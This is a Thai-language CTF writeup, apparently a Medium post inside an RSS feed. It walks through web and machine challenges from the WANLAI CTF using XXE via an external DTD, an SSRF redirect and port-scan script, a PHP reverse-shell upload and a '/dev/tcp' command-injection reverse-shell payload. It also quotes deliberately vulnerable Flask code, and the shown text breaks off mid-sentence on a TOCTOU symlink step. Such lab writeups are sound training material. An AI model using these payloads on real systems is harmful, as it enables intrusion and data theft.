<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Phufar Glingfroy on Medium]]></title>
        <description><![CDATA[Stories by Phufar Glingfroy on Medium]]></description>
        <link>https://medium.com/@pglingfr?source=rss-e1ae5fe713c5------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*K3loKmF3IbQ_IR1D7D1zrw.png</url>
            <title>Stories by Phufar Glingfroy on Medium</title>
            <link>https://medium.com/@pglingfr?source=rss-e1ae5fe713c5------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 23:36:38 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@pglingfr/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[WAN LAI CTF Writeup]]></title>
            <link>https://medium.com/@pglingfr/wan-lai-ctf-writeup-52eb8c02ffcd?source=rss-e1ae5fe713c5------2</link>
            <guid isPermaLink="false">https://medium.com/p/52eb8c02ffcd</guid>
            <dc:creator><![CDATA[Phufar Glingfroy]]></dc:creator>
            <pubDate>Mon, 20 Apr 2026 05:55:33 GMT</pubDate>
            <atom:updated>2026-04-21T09:04:47.580Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*4_eEFlUKYhbLKmmq" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6nLkzSsuuICiP6Z0PFAeZg.png" /></figure><p>สวัสดีครับ ผมเป็นสมาชิกจากทีมรุ่นปฏิหาริย์จะมาอธิบายแนวทางการทำโจทย์ CTF จากงาน Wanlai CTF จัดขึ้นโดย DropCTF โดยโจทย์ที่จะมาอธิบายได้แก่</p><p>หมวด Web</p><ul><li>Songkran Festival Proxy (Easy)</li><li>Som Tam Recipe (Medium) (1st Blood อิอิ)</li><li>WANLAI Computer (Hard)</li></ul><p>หมวด Machine</p><ul><li>Wan Lai Market (Medium)</li><li>DDJ MOODENG (Hard)</li></ul><h3>Songkran Festival Proxy</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k8O3Om9TsMWAoVlN-6MO8Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*rQjHCT9w777bkObf" /></figure><p>เมื่อเข้าสู่หน้าเว็บจะพบว่ามี endpoint /, /api/water-status แต่แน่นอนผมไม่เชื่อ จากนั้นแสกนว่ามี path อะไรบ้าง</p><pre>gobuster dir -u http://10.88.128.24/ -w /usr/share/seclists/Discovery/Web-Content/common.txt</pre><pre>...<br>/admin                (Status: 403) [Size: 156]<br>/admin-admin          (Status: 403) [Size: 156]<br>/admin-interface      (Status: 403) [Size: 156]<br>/admin-console        (Status: 403) [Size: 156]<br>/administrator-panel  (Status: 403) [Size: 156]<br>/admin.cgi            (Status: 403) [Size: 156]<br>/admin.php            (Status: 403) [Size: 156]<br>/admin.pl             (Status: 403) [Size: 156]<br>/admin1               (Status: 403) [Size: 156]<br>/admin2               (Status: 403) [Size: 156]<br>/admin3               (Status: 403) [Size: 156]<br>/admin4_account       (Status: 403) [Size: 156]<br>/admin4_colon         (Status: 403) [Size: 156]<br>/admin_               (Status: 403) [Size: 156]<br>/admin_area           (Status: 403) [Size: 156]<br>/admin_c              (Status: 403) [Size: 156]<br>/admin_banner         (Status: 403) [Size: 156]<br>...</pre><p>หลังการแสกนจะพบว่าทุกหน้าที่มีคำว่า admin response กลับมาเป็น 403 Forbidden</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Ay9E75FZd0OfBDT-" /></figure><p>เมื่อ Request ไปยัง /admin จะแสดงข้อความด้านบน จากพฤติกรรมดังกล่าว ระบบจะบล็อคทุกหน้าที่มีคำว่า admin สามารถหลบเลี่ยงด้วยการทำ URL encode ซึ่งสามารถทำได้ใน Burp Suite คลุมไปที่ตัวอักษร a คลิกขวา เลือก convert selection &gt; URL &gt;URL-encode all characters และจากโจทย์ใบ้ว่าอ่านหน้า Flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*FJLwsSk-35izuvnP" /></figure><pre>WANLAI{d211e6d1287504e6645eff306126b671}</pre><h3>Som Tam Recipe</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OwFMofNkO4gPKhEPB5VcyA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iHSlAQ4d_Il-ItPxz0jB_w.png" /></figure><p>เมื่อเข้าสู่หน้าเว็บ จะพบว่าเป็นเว็บที่ให้อัปโหลดสูตรส้มตำ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GNPBim_JLSbZoRNodbTANQ.png" /></figure><p>ซึ่งจะมี Template ไฟล์ .somtam ให้โหลดมาใช้ ในการอัปโหลดไฟล์จะรับเพียงแค่ .somtam เท่านั้น</p><pre>&lt;recipe&gt;<br>&lt;chef&gt;somchai&lt;/chef&gt;<br>&lt;dish&gt;somtam_thai&lt;/dish&gt;<br>&lt;spicy_level&gt;3&lt;/spicy_level&gt;<br>&lt;ingredients&gt;papaya peanut tomato chili&lt;/ingredients&gt;<br>&lt;secret&gt;pla_ra_from_isan&lt;/secret&gt;<br>&lt;/recipe&gt;</pre><p>ในไฟล์ .somtam จะเป็นไฟล์ลักษณะของ XML คิดว่าน่าจะมีช่องโหว่ XML eXternal Entity Injection หรือ XXE Injection ที่เกิดขึ้นการตั้งค่า XML Parse ที่ผิดพลาด ไม่ได้ปิดการใช้งาน Entity ซึ่ง Entity ทำงานเสมือนตัวแปรที่ reference ไปยังสิ่งอื่นได้ ทำให้ใช้ Entity ของ XML นำไปดึงไฟล์ภายในเครื่อง หรือนำไปสู่ช่องโหว่ที่เรียกว่า Server Side Request Forgery</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8ZnOwF0dEuK_r-VBuw3ikQ.png" /></figure><p>เมื่อส่ง Request อัปโหลดแบบปกติไปจะตอบกลับข้อมูลที่เราได้ใส่เข้าไปข้างต้นในรูปแบบของ JSON</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s88A6gcLE3mjaaGA-56yhw.png" /></figure><p>แต่ถ้าใช้ payload ของ XXE Injection ในการดึงไฟล์ /etc/passwd เพื่อทดสอบช่องโหว่กลายเป็นว่าระบบแจ้งเตือนว่า Error ทำให้ไม่สามารถใช้ local entity ได้โดยตรง จึงย้ายไปอยู่ใน DTD ภายนอกแทน และ CDATA เพื่อป้องกันไม่ให้ parser พัง และทำให้อยู่ในรูปข้อความธรรมดา</p><pre>&lt;!ENTITY % start &quot;&lt;![CDATA[&quot;&gt;<br>&lt;!ENTITY % file SYᏚTEM &quot;file:///etc/passwd&quot;&gt;<br>&lt;!ENTITY % end &quot;]]&gt;&quot;&gt;<br>&lt;!ENTITY % dtd2 &quot;&lt;!ENTITY all &#39;%start;%file;%end;&#39;&gt;&quot;&gt;<br>%dtd2;</pre><p>หลังจากนั้นเปิด http server ด้วย python ที่ path ที่เราเก็บไฟล์ DTD ไว้</p><pre>python3 -m http.server 8000</pre><p>แล้วสร้าง Payload เพื่อดึงไฟล์ DTD แล้วใน body &lt;recipe&gt; เรียกใช้ entity all จาก DTD ที่เราได้สร้างไว้</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/0*vLQ3yoHWdpo0M5f3" /></figure><p>หลังจากนั้นเราจะเห็นแล้วว่าเราสามารถดึงไฟล์ /etc/passwd ออกมาได้ จากที่เราได้เห็นใน Response Header พบว่าใช้ Werkzeug Python แสดงว่าอาจต้องมี source code อยู่ที่ /app/app.py จากนั้นทำการแก้ไข DTD เพื่อไปดึงไฟล์นั้นแทน</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*62b5-MzEys9TFbL5" /></figure><p>จะพบเข้ากลับ source code backend ของเว็บไซต์นี้</p><pre>from flask import Flask, request, jsonify, render_template, Response<br>from lxml import etree<br>import urllib.request<br>import os<br><br>app = Flask(__name__)<br><br>class NetworkResolver(etree.Resolver):<br>    &quot;&quot;&quot;Allow lxml to fetch DTDs from the network (intentionally vulnerable).&quot;&quot;&quot;<br>    #External Dtd<br>    def resolve(self, system_url, public_id, context):<br>        if system_url.startswith(&quot;http://&quot;) or system_url.startswith(&quot;https://&quot;):<br>            resp = urllib.request.urlopen(system_url, timeout=5)<br>            return self.resolve_string(resp.read(), context)<br>        return None<br><br>with open(&quot;/app/flag.txt&quot;, &quot;r&quot;) as _f:<br>    FLAG = _f.read().strip()<br><br>BLACKLIST = [&quot;flag&quot;, &quot;file&quot;, &quot;/app&quot;, &quot;/etc&quot;, &quot;passwd&quot;, &quot;shadow&quot;, &quot;proc&quot;, &quot;environ&quot;]<br><br>def check_blacklist(content):<br>    content_lower = content.lower()<br>    for keyword in BLACKLIST:<br>        if keyword in content_lower:<br>            return False<br>    return True<br><br>@app.route(&quot;/&quot;)<br>def index():<br>    return render_template(&quot;index.html&quot;)<br><br>@app.route(&quot;/template&quot;)<br>def template():<br>    xml_template = &quot;&quot;&quot;&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;<br>&lt;recipe&gt;<br>  &lt;chef&gt;somchai&lt;/chef&gt;<br>  &lt;dish&gt;somtam_thai&lt;/dish&gt;<br>  &lt;spicy_level&gt;3&lt;/spicy_level&gt;<br>  &lt;ingredients&gt;papaya peanut tomato chili&lt;/ingredients&gt;<br>  &lt;secret&gt;pla_ra_from_isan&lt;/secret&gt;<br>&lt;/recipe&gt;&quot;&quot;&quot;<br>    return Response(<br>        xml_template,<br>        mimetype=&quot;application/xml&quot;,<br>        headers={&quot;Content-Disposition&quot;: &quot;attachment; filename=template.somtam&quot;}<br>    )<br><br>@app.route(&quot;/upload&quot;, methods=[&quot;POST&quot;])<br>@app.route(&quot;/submit&quot;, methods=[&quot;POST&quot;])<br>def upload():<br>    f = request.files.get(&quot;file&quot;) or request.files.get(&quot;recipe&quot;)<br>    if not f:<br>        return jsonify({&quot;error&quot;: &quot;no file uploaded&quot;}), 400<br>    if not f.filename.endswith(&quot;.somtam&quot;):<br>        return jsonify({&quot;error&quot;: &quot;only .somtam files are accepted&quot;}), 400<br><br>    content = f.read().decode(&quot;utf-8&quot;)<br><br>    # This is the WAF that blocked your local file read attempts<br>    if not check_blacklist(content):<br>        return jsonify({&quot;error&quot;: &quot;invalid ingredient detected&quot;}), 403<br><br>    try:<br>        # Intentionally vulnerable XML parser setup<br>        parser = etree.XMLParser(resolve_entities=True, load_dtd=True, no_network=False)<br>        parser.resolvers.add(NetworkResolver())<br>        tree = etree.fromstring(content.encode(), parser)<br><br>        chef = tree.findtext(&quot;chef&quot;, default=&quot;unknown&quot;)<br>        dish = tree.findtext(&quot;dish&quot;, default=&quot;unknown&quot;)<br>        spicy_level = tree.findtext(&quot;spicy_level&quot;, default=&quot;0&quot;)<br>        ingredients = tree.findtext(&quot;ingredients&quot;, default=&quot;&quot;)<br>        secret = tree.findtext(&quot;secret&quot;, default=&quot;&quot;)<br><br>        return jsonify({<br>            &quot;status&quot;: &quot;success&quot;,<br>            &quot;chef&quot;: chef,<br>            &quot;recipe&quot;: {<br>                &quot;dish&quot;: dish,<br>                &quot;spicy_level&quot;: spicy_level,<br>                &quot;ingredients&quot;: ingredients,<br>                &quot;secret&quot;: secret<br>            }<br>        })<br>    except Exception as e:<br>        return jsonify({&quot;error&quot;: f&quot;invalid recipe format: {str(e)}&quot;}), 400<br><br>if __name__ == &quot;__main__&quot;:<br>    app.run(host=&quot;0.0.0.0&quot;, port=80)</pre><p>จาก source code จะเห็นว่าอนุญาตให้สามารถใช้งาน Entity และเรียก DTD ได้ นอกจากนี้แล้วที่เราดึงไฟล์ flag หรือ passwd ตรงๆ ไม่ได้เพราะได้ทำการ blacklist ไว้ และนอกจากนี้มีบรรทัดที่โจทย์ตั้งใจให้ไปใช้ DTD</p><p>จากนั้นแก้ไข DTD ให้ไปเรียก /app/flag.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*fheC7gGNUduyNlO4" /></figure><pre>WANLAI{087cbe20d11b466e18af63083317f8a9}</pre><h3>WANLAI Computer</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4aAHRtJNs_fOe97W5mdXuw.png" /></figure><p>เป็นโจทย์ร้านขายคอมพิวเตอร์ แต่ยังซื้อสินค้าไม่ได้ สามารถจองไว้ก่อนได้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0lQxax6qgAHdruqsNG-YPg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rWZ1bAbTJ76bBr1xFPTFKw.png" /></figure><p>ในหน้าเว็บได้แปะ API Documentation ไว้ได้แก่ /subcribe ใช้สำหรับลงทะเบียนลิ้ง URL เพื่อรับการแจ้งเตือนไปยัง Link นั้น และจะ response กลับมาเป็น JSON ที่มี field คือ id, message และที่ /notify ใช้สำหรับรับ id ที่เราได้จากการลงทะเบียนมาส่ง method POST แจ้งเตือนไปยัง URL นั้น</p><p>เนื่องจากเป็นโจทย์ CTF ที่มีการ request ไปยัง URL อื่น เดาไปก่อนเลยเป็นช่องโหว่ SSRF หรือ Server Side Request Forgery เป็นช่องโหว่ที่สามารถทำให้ผู้โจมตืสามารถดึงข้อมูลที่ไม่ควรจะเข้าถึงจากภายนอกได้ เช่น อาจไปเปิดหน้า admin ที่อยู่ใน localhost ที่คนภายนอกไม่สามารถเปิดได้ นอกจากนี้ยังมีเทคนิคอื่นๆ เช่น การนำไปใช้ในการแสกนพอร์ต และ host ภายใน เปรียบเสมือนว่าเว็บไซต์ที่มีช่องโหว่เป็น proxy ระหว่างผู้โจมตีและข้อมูลภายใน</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Yu5_y41qUJQgj7kIYF07nQ.png" /></figure><p>ในเว็บไซต์โจทย์ที่เราทำ ถ้าเราส่ง request ไปเรียก URL ภายใน <a href="http://127.0.0.1/">http://127.0.0.1</a> จะ response กลับมาเป็นข้อความว่า “ไม่อนุญาต: ตรวจพบ IP ภายในเครือข่าย” ในส่วนนี้สามารถทดสอบ bypass โดยเปลี่ยน IP ไปเป็นรูปแบบอื่น <a href="http://localhost/,">http://localhost/,</a> <a href="http://127.0.0.1/,">http://127.1/,</a> <a href="http://0.0.0.0/">http://0.0.0.0</a>/, <a href="http://127.0.0.1/">http://2130706433/</a>, <a href="http://127.0.0.1/">http://0177.0.0.1/</a>, <a href="http://127.0.0.1/">http://0x7f000001/</a> ซึ่งไม่เวิร์คหมดเลย</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jmm6R8eJt-NdCkcWJd6nDQ.png" /></figure><p>แต่ถ้าเราไป request URL ภายนอก จะได้ response กลับมาเป็น id เพื่อใช้ในการเรียก /notify ใช้แจ้งเตือนซึ่งจะส่ง request POST method ไปยัง URL นั้น <br>ทดสอบโดยการใช้ httpbin (<a href="https://httpbin.org/get">https://httpbin.org/</a>) ซึ่งในการทดสอบการส่ง Request และ Response การเช็ค method ที่ส่งไปจะใช้ https://httpbin.org/&lt;method&gt; เช่น get, post, … จะพบว่าเป็น method POST</p><p>เราต้องการดึงข้อมูล flag เพื่อนำมาตอบลอง redirect เพื่อที่สามารถ redirect จาก Public URL ไปยังภายในได้ซึ่งใช้ httpbin เช่นเดิมโดยใช้ API /redirect-to?url=&lt;URL ที่ต้องการจะ redirect ไป&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MAQdPvQIFeznLto1wgaXRw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9zahOpK_QSIoxUACcE9MOg.png" /></figure><p>จะเห็นเราสามารถ redirect ไปได้จะ response กลับมาเป็นหน้าเว็บของเรา ทีนี้เราสามารถ request URL ภายในได้แล้ว หลังจากนั้นหาข้อมูลภายในเพิ่มเติม เช่น port, host ต่างๆ ในที่นี้จะลองที่ port ก่อน โดยการสร้าง script ส่ง request ไปยัง /subscribe โดยใช้ port ที่คิดว่าเป็น http ได้แก่ 80 81 3000 3001 4000 5000 5001 7000 7001 8000 8001 8080 8081 8088 8888 9000 เพื่อให้ได้ id มา แล้วใช้ tool อย่าง jq ในการ parse json ให้ได้แค่ id แล้วนำ id ไปเรียก /notify เพื่อให้เว็บส่ง request ไป</p><pre>for p in 80 81 3000 3001 4000 5000 5001 7000 7001 8000 8001 8080 8081 8088 8888 9000; do<br>  id=$(curl -s -X POST http://10.88.128.31/subscribe \<br>    -H &#39;Content-Type: application/x-www-form-urlencoded&#39; \<br>    --data &quot;url=https://httpbin.org/redirect-to?url=http%3A%2F%2F127.0.0.1%3A${p}%2F&quot; | jq -r &#39;.id // empty&#39;)<br><br>  [ -z &quot;$id&quot; ] &amp;&amp; continue<br><br>  echo &quot;PORT $p&quot;<br>  curl -s -X POST http://10.88.128.31/notify \<br>    -H &#39;Content-Type: application/x-www-form-urlencoded&#39; \<br>    --data &quot;id=$id&quot;<br>  echo<br>done</pre><pre>PORT 5001<br>{&quot;response&quot;:&quot;{\&quot;hint\&quot;:\&quot;The flag is located at /admin/warehouse\&quot;}\n&quot;,&quot;status&quot;:&quot;sent&quot;}</pre><p>เมื่อเรารัน script นั้นจะเห็นว่าที่ port 5001 จะมีคำใบ้ว่า flag อยู่ที่ /admin/warehouse</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ETCFizhxStOXeTBjNY8kNw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qKJECbKYPF0xiH5Es2_Feg.png" /></figure><p>แล้วเราจะได้ Flag มาแล้ววว</p><pre>WANLAI{2ee8967f8bb088e5cbf0e6d0f5f829c1}</pre><p>แต่ว่าใน payload ที่ส่งไป</p><pre>url=http://httpbin.org/redirect-to?url=http%3A%2F%2F127.0.0.1%3A5001%2Fadmin%2Fwarehouse%26status_code=307</pre><p>จะเห็นว่ามีการเติม &amp;status_code=307 ซึ่งเกิดจากปัญหาเมื่อตอนส่ง request ไปแล้ว redirect ไปยัง <a href="http://127.0.0.1:5000/admin/warehouse">http://127.0.0.1:5000/admin/warehouse</a> จะเกิด error method not allow เพราะว่าเมื่อ redirect 302 จะกลายเป็น GET method แทน ทำให้เราต้องเปลี่ยนไปเป็น temporary redirect 307 แทน เพื่อให้ยังคง POST method เช่นเดิม</p><p>สรุป โจทย์นี้มีช่องโหว่ SSRF ที่อนุญาตให้ส่ง request ไปยัง URL ภายในได้ แต่ได้มีการดักที่ URL ตรงๆ ไม่ให้ส่ง request ภายในวงเดียวกันเท่านั้น แต่ไม่ได้ป้องกันในกรณีที่ redirect ไปยัง URL ทำให้ผู้โจมตีสามารถใช้ Public URL เป็นตัวกลางแล้ว redirect ไปยัง <a href="http://127.0.0.1:5001/admin/warehouse">http://127.0.0.1:5001/admin/warehouse</a></p><h3>Wan Lai Market</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_dJ7iBmtLmwu6xCKpcWlKQ.png" /></figure><p>ในขั้นแรกในการทำโจทย์ Machine เราต้องดูก่อนว่าในเครื่องได้เปิด Service อะไรไว้บ้าง เพื่อใช้ในการหาช่องทางในการโจมตี แล้วเข้าสู่เครื่องเป้าหมาย โดยใช้ Nmap</p><pre>sudo nmap -sC -sV --min-rate 10000 10.88.128.40</pre><p>โดย option ต่างๆของ nmap ที่ใช้ อย่างแรกคือ sudo เพื่อ TCP SYN scan ไม่ต้องรอให้ครบทั้ง handshake, -sC ใช้ default script เพื่อดู service banner, -sV เพื่อดูเวอร์ชันของ service, และเร่งความเร็วการแสกนโดยปรับ min rate ให้ขั้นต่ำสั่ง 10000 packet ต่อวินาที</p><pre>Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-20 17:21 +07<br>Nmap scan report for djmoodeng.ctf (10.88.128.29)<br>Host is up (0.17s latency).<br>Not shown: 558 filtered tcp ports (no-response), 441 closed tcp ports (reset)<br>PORT   STATE SERVICE    VERSION<br>80/tcp open  tcpwrapped<br>|_http-server-header: Apache/2.4.52 (Ubuntu)<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 26.47 seconds</pre><p>เราจะพบเพียงแค่ Service เดียวในเครื่องเป้าหมายคือ web server หลังจากนั้นตรวจดูว่าในเว็บได้เปิด path ใดไว้บ้าง โดยใช้ gobuster</p><pre>dirsearch -u http://10.88.128.40/ -t 100</pre><pre>403   277B   http://10.88.128.40/.htaccess.bak1<br>403   277B   http://10.88.128.40/.htaccess.orig<br>403   277B   http://10.88.128.40/.htaccess.sample<br>403   277B   http://10.88.128.40/.htaccess.save<br>403   277B   http://10.88.128.40/.htaccess_extra<br>403   277B   http://10.88.128.40/.htaccess_orig<br>403   277B   http://10.88.128.40/.htaccess_sc<br>403   277B   http://10.88.128.40/.htaccessBAK<br>403   277B   http://10.88.128.40/.htaccessOLD2<br>403   277B   http://10.88.128.40/.htaccessOLD<br>403   277B   http://10.88.128.40/.htm<br>403   277B   http://10.88.128.40/.html<br>403   277B   http://10.88.128.40/.htpasswd_test<br>403   277B   http://10.88.128.40/.htpasswds<br>403   277B   http://10.88.128.40/.httr-oauth<br>403   277B   http://10.88.128.40/.php<br>301   312B   http://10.88.128.40/admin    -&gt; REDIRECTS TO: http://10.88.128.40/admin/<br>200     3KB  http://10.88.128.40/admin/<br>200     3KB  http://10.88.128.40/admin/index.php<br>403   277B   http://10.88.128.40/server-status<br>403   277B   http://10.88.128.40/server-status/<br>301   314B   http://10.88.128.40/uploads    -&gt; REDIRECTS TO: http://10.88.128.40/uploads/<br>200    86B   http://10.88.128.40/uploads/</pre><p>เราจะเจอหน้าหลักๆ เพิ่มเติม ได้แก่ /admin/, /uploads/</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1weH-hMRAxMtAgMn2wOPJA.png" /></figure><p>เมื่อเข้าสู่เว็บไซต์ จากนั้นลองทำการสำรวจรอบๆ จะเจอกลับหน้า /slot.php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jx-4RNqRQGXPo5_4-s0tUA.png" /></figure><p>จะเห็นว่าถ้าเล่นสล็อตได้ 777 จะสามารถได้ข้อมูลลับ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vPxJSYVkk4NBlXvXc5ZMhw.png" /></figure><p>ถ้ากดเล่นจะเห็นว่า Request ที่เราส่งไปเป็นตัวเลขที่เราได้ตอนหมุน ซึ่งเราสามารถแก้ไขตัวเลขให้เป็น 777 ได้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uz_XndOluCKvDvas0OfPNQ.png" /></figure><p>เมื่อเราได้ JACKPOT จะเห็น username, password นั่นคือ shopkeeper:DarkMarket2026! และมีสิทธิ์ในระดับ admin</p><pre>&lt;!-- Hidden credit topup form (ต้องค้นหาเอง) --&gt;<br>        &lt;!--<br>            POST slot.php<br>            add_credit=1&amp;amount=9999<br>        --&gt;</pre><p>นอกจากนี้แล้วใน source code ของหน้ายังมีการแสดงข้อมูลสำคัญ คือ POST method ไปที่ slot.php ที่ผู้ใช้งานทั่วไปสามารถเสกเงินขึ้นมาปั่นสล็อต <br>และถ้ากดโควต้าปั่นสล็อตต่อวันหมดไปแล้ว สามารถลบ cookie ออกแล้วรีหน้าใหม่ได้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-yYnUMjxG-g6e2MwZfh0AA.png" /></figure><p>เมื่อเราทำการ login เข้าไป จะพบกับหน้า Dashboard ที่ admin สามารถอัปโหลดไฟล์ และสามารถเช็ค host ด้วยการ ping ไปยัง IP นั้น ทั้งสองส่วนนี้มีช่องโหว่ ส่วนแรกการอัปโหลดไฟล์ มีช่องโหว่ Unrestricted File Upload ที่ผู้ใช้งานสามารถอัปโหลดไฟล์อะไรก็ได้ และส่วนที่ 2 Command Injection ซึ่งรับคำสั่งของผู้ใช้ไปทำการประมวลผลโดยไม่มีการกรอง ซึ่งทั่งคู่สามารถนำไปสู่การทำ Remote Code Execution ได้ คือการควบคุมเครื่องเป้าหมายระยะไกล ในที่นี้จะใช้การอัปโหลดไฟล์ Reverse Shell ใน php โดยจะใช้ไฟล์จาก pentestmonkey<br><a href="https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php">https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php</a> โดยนำไฟล์ไปแก้ไข IP และ PORT</p><pre>set_time_limit (0);<br>$VERSION = &quot;1.0&quot;;<br>$ip = &#39;&lt;IP&gt;&#39;;  // CHANGE THIS<br>$port = PORT;       // CHANGE THIS<br>$chunk_size = 1400;<br>$write_a = null;<br>$error_a = null;<br>$shell = &#39;uname -a; w; id; /bin/sh -i&#39;;<br>$daemon = 0;<br>$debug = 0;</pre><p>จากนั้นทำการอัปโหลดไฟล์ จากนั้นสร้าง Listener จาก reverse shell เพื่อเข้าควบคุมเครื่องผ่าน netcat โดยเป็น PORT เดียวกันกับในไฟล์ reverse shell ในเครื่องของตัวเอง</p><pre>nc -lvnp &lt;PORT&gt;</pre><p>ในตอนแรกที่แสกนดู path จะเห็นว่ามีหน้า /uploads ซึ่งเป็นหน้าที่เรียกไฟล์ที่เราได้อัปโหลดได้ ส่ง Request ไปยัง <a href="http://10.88.128.29/uploads/php-reverse-shell.php">http://10.88.128.29/uploads/php-reverse-shell.php</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g6lZcPRKw3JwKKy4zYiv-Q.png" /></figure><p>จะเห็นว่าเราได้ shell เรียบร้อยแล้ว</p><p>ถ้าหากอยากใช้ Command Injection แทนการอัปโหลดไฟล์สามารถใช้ payload นี้ได้</p><pre>127.0.0.1 | bash -c &#39;bash -i &gt;&amp; /dev/tcp/&lt;IP&gt;/&lt;PORT&gt; 0&gt;&amp;1&#39;</pre><p>ในขั้นตอนต่อไปคือการทำ privilege escalation โดยต้องหาก่อนว่ามี Service, Binary ใดที่เราสามารถใช้งานได้บ้าง</p><pre>sudo -l</pre><p>จะแสดงว่าเราสามารถใช้งาน หรือห้ามใช้อะไรบ้าง แต่ว่าในเครื่องปิดการใช้งาน sudo เอาไว้ทำให้ไม่สามารถรันได้</p><pre>find / -perm -u=s -type f 2&gt;/dev/null</pre><pre>/usr/bin/newgrp<br>/usr/bin/chsh<br>/usr/bin/gpasswd<br>/usr/bin/passwd<br>/usr/bin/su<br>/usr/bin/umount<br>/usr/bin/mount<br>/usr/bin/chfn</pre><p>จะแสดงรายการไฟล์ที่สามารถรันได้ที่มีการเปิดใช้งานสิทธิ์แบบ SUID แต่ในนี้ไม่มีไรที่สามารถใช้งานได้เลย</p><pre>ls -la /etc/cron.d</pre><pre>drwxr-xr-x 1 root root 4096 Apr 17 01:01 .<br>drwxr-xr-x 1 root root 4096 Apr 20 10:20 ..<br>-rw-r--r-- 1 root root  102 Mar 23  2022 .placeholder<br>-rw-r--r-- 1 root root   76 Apr 17 01:01 delivery-sync &lt;--&lt;Protential&gt;<br>-rw-r--r-- 1 root root  201 Jan  8  2022 e2scrub_all<br>-rw-r--r-- 1 root root  712 Jan 28  2022 php</pre><p>จะแสดง Cron job (คำสั่งที่รันอัตโนมัติ) เราเจอกับ delivery-sync ที่อาจทำ privilege escalation ได้</p><pre>$ cat delivery-sync</pre><pre>* * * * * root /home/courier/delivery-sync.sh &gt;&gt; /var/log/delivery.log 2&gt;&amp;1</pre><p>จะเห็นว่าไปเรียกไฟล์ใน /home/courier/delivery-sync.sh ซึ่งเราไม่สามารถเข้าถึง user courier ได้ คาดว่าเป็นการทำ Backup ที่ในหน้า dashboard ของ admin ได้บอกไว้ ว่า Backup ไปยัง /var/backups/products ทุก 60 วินาที เมื่อเราไปดูใน /var/backups/products</p><pre>$ ls -la /var/backups/products</pre><pre>-rw-r--r-- 1 www-data www-data    7 Apr 13 11:00 bucket-brass-large.jpg<br>-rw-r--r-- 1 www-data www-data    7 Apr 15 10:10 neon-gun-led.jpg<br>-rw-r--r-- 1 www-data www-data 5491 Apr 20 12:37 php-reverse-shell.php<br>-rw-r--r-- 1 www-data www-data    7 Apr 12 16:20 powder-rainbow-500g.jpg<br>-rw-r--r-- 1 www-data www-data    7 Apr 12 09:45 powder-white-1kg.jpg<br>-rw-r--r-- 1 www-data www-data    7 Apr 15 17:45 shirt-songkran-2569.jpg<br>-rw-r--r-- 1 www-data www-data    7 Apr 14 13:30 splash-pro-set.jpg<br>-rw-r--r-- 1 www-data www-data    7 Apr 10 08:30 watergun-xl-blue.jpg<br>-rw-r--r-- 1 www-data www-data    7 Apr 11 14:15 watergun-xl-red.jpg</pre><p>จะเห็นว่าเป็นไฟล์เดียวกันกับที่ uploads ในหน้า dashboard ของ admin ซึ่งไฟล์ต้นฉบับอยู่ที่ /var/www/html/uploads จากนั้นทำ TOCTOU Race condition โดยการสร้าง symlink</p><p>TOCTOU เป็นช่องโหว่ที่เกิดขึ้นช่วงเวลาระหว่างที่โปรแกรมสิทธิ์สูงตรวจสอบไฟล์ว่าปลอดภัย แล้วผู้โจมตีแอบสลับไฟล์หรือ symlink 